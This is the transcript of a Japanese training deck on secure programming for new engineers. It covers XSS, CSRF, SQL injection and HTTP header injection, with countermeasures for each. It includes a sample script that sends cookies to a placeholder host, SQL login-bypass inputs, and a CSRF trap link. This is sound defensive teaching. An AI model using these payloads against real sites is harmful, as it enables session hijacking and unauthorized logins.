Upgrade to Pro — share decks privately, control downloads, hide ads and more …

2018年新卒エンジニア研修 セキュリティ

 2018年新卒エンジニア研修 セキュリティ

norinux

May 14, 2018
Tweet

More Decks by norinux

Other Decks in Education

Transcript

  1. セキュアプログラミング
    演習
    2018新卒者研修向け資料
    RND海藤直成

    View Slide

  2. この講義の目的
    考える
    自分でサイトを制作し、どんな脆弱性があるのかを考えてみる。
    やってみる
    自分で攻撃をすることによってどんな脆弱性があるのかを体験する。
    調べてみる
    どんな攻撃方法があるのかを学び、それらを防ぐ方法を考える。

    View Slide

  3. 早速ですが、下記のサイトを作って下さい
    ● 必要なページ
    ○ ログインページ
    ○ トップページ
    ○ 新規ユーザー登録ページ
    ● 仕様
    ○ ログインIDとパスワードでログインできる
    ○ ログインが成功したらトップページに遷移する
    ○ トップページでは自分の名前とログイン IDが表示される
    ○ ユーザー情報はDB(MySQL)に保存すること
    ● 制限時間:60分
    ● フレームワークの使用は禁止
    ● 完成することを優先し、検証を後ほど行う

    View Slide

  4. サーバー情報
    ※内部資料のため非公開

    View Slide

  5. 検証してみよう

    View Slide

  6. クロスサイトスクリプティング(XSS)
    脆弱性のあるサイトへ、悪意のあるスクリプトを埋め込む手法。
    スクリプトが埋め込まれたページにアクセスすると、クッキー情報などが盗まれる可能性
    がある(セッション・ハイジャック)
    例:表示される文言(ユーザー名等)をスクリプトを埋め込むなど
    document.location=”http://xxxx.com/script.cgi?cookie=”+document.cookie;

    View Slide

  7. 防止策(XSS)
    ● 特殊文字がスクリプトとして実行されないよう置換・除去する処理を行う(エスケー
    プ処理 or サニタイズ)
    ○ & → &
    ○ < → < など
    ● 保険的対策
    ○ URLが投稿されていないかチェックする
    ○ JavaScriptでCookieにアクセスできないようにする
    ■ (ブラウザによって作用しない場合もある)

    View Slide

  8. クロスサイト・リクエスト・フォージェリ(CSRF)
    ログイン済みのユーザに、意図しない操作を強制的に実行させてしまう攻撃。
    http://xxxx.com/comment.php?id=1234&comment=クリックしてね!
    1. 攻撃者がBさんの掲示板に罠を仕掛ける
    2. A子さんがBさんの掲示板を見る( SNSログイン済み)
    3. A子さんが罠のリンクをクリックする
    4. Bさんの掲示板からSNSサイトに移って(クロス)、ユーザの要求を偽って(フォージェリ)、悪意を持って細
    工された要求(リクエスト)が送られる
    結果、友達にのみ公開していた情報が全ての人に公開されてしまう、などの処理が実行される

    View Slide

  9. 防止策(CSRF)
    ● トークンを発行する
    ○ サーバ側で用意したトークンとリクエストで送信されたトークンの比較
    ■ 送信された情報に「x4Efx….(文言は毎回変わる)」が含まれているか?など
    ● リファラを確認する
    ○ 送信されたリクエストが自分のサイトから来ているもののみ受け付けるようにする、など

    View Slide

  10. SQLインジェクション
    入力した値によって意図しないSQLを実行する攻撃
    SELECT * FROM users WHERE login_id = ‘[入力された値]’ AND password=’[入力された値]’
    ログイン認証の際に上記のような SQLが使用されていた場合、何も対策を施していないサイトで下記のようなパ
    スワードにSQL文を成り立たせるような文字を入力すると、ログインできてしまう。
    ユーザー名:適当なユーザー名
    パスワード:' OR 1 = 1
    SELECT * FROM users WHERE login_id = ‘[入力された値]’ AND password=’’ OR 1 = 1
    ユーザー名:[存在するユーザー名 ]'; --
    SELECT * FROM users WHERE login_id = ‘[入力された値]’; --’ AND password=’’ OR 1 = 1

    View Slide

  11. 防止策(SQLインジェクション)
    ● 入力された文字をエスケープして処理する
    ○ ‘ → ‘’
    ○ ; → 処理しない
    ○ \ → \\
    ○ その他特殊文字 → \
    ○ 文字コードのバイト特性などを利用した攻撃もあるので、自前で対策を行うのは難しい
    ● 上記対策が行われているデータオブジェクトが各言語に用意されているので、それ
    らを使用する事を推奨する

    View Slide

  12. HTTPヘッダ・インジェクション
    ヘッダの情報を参考にして情報を取得しているサイトに対して、ヘッダ情報を書き換えたり、付け加えることに
    よって意図しない操作を行う
    HTTP/1.1 200 OK
    Date: Wed, 08 Feb 2017 08:33:35 GMT
    Cache-Control: private, max-age=0
    Content-Type: text/html; charset=UTF-8
    (中略)
    Vary: Accept-Encoding



    ヘッダとボディを分ける基準は2つの連続した改行のみ。
    その特性を利用したインジェクション攻撃

    View Slide

  13. 気づいた点をブレストしてみましょう

    View Slide

  14. 攻撃を受けにくくするには

    View Slide

  15. 攻撃を受けにくくするには(1)
    ● ユーザーが入力するものは基本的にエスケープ処理を行う
    ○ 入力ページ
    ○ URL欄への入力
    ● 受け付ける処理を限定する
    ○ 入力ページではPOSTのみ、など
    ○ 更新の際はPUT、削除の際はDELETE、など処理によってリクエストメソッドを分ける
    ○ トークンを発行する
    ● 暗号化して保存する
    ○ 情報を暗号化して保存するなどして、相手から攻撃を受けても復元しにくい状態にしておく
    ● フレームワークの利用
    ○ フレームワークは基本的に上記の処理を施している
    ○ 最小構成のものなどは、実装されていない場合もあるので、必ずテストを行うこと

    View Slide

  16. 攻撃を受けにくくするには(2)
    ● ネットワーク、サーバーの構成を分ける
    ○ 管理サイトは物理的に違うサーバーに設置する
    ○ 特定のIPからのみアクセスを許可する
    ○ 公開鍵方式でのみSSHアクセス、など
    ● 新しい攻撃の手法が出てきた場合にすぐに対応する
    ○ 情報をすぐにキャッチできるよう、常にアンテナを立てておく
    ○ すぐに対応できない場合は、代替案を考える
    ■ 構成的に無理
    ■ スケジュール的に無理、など

    View Slide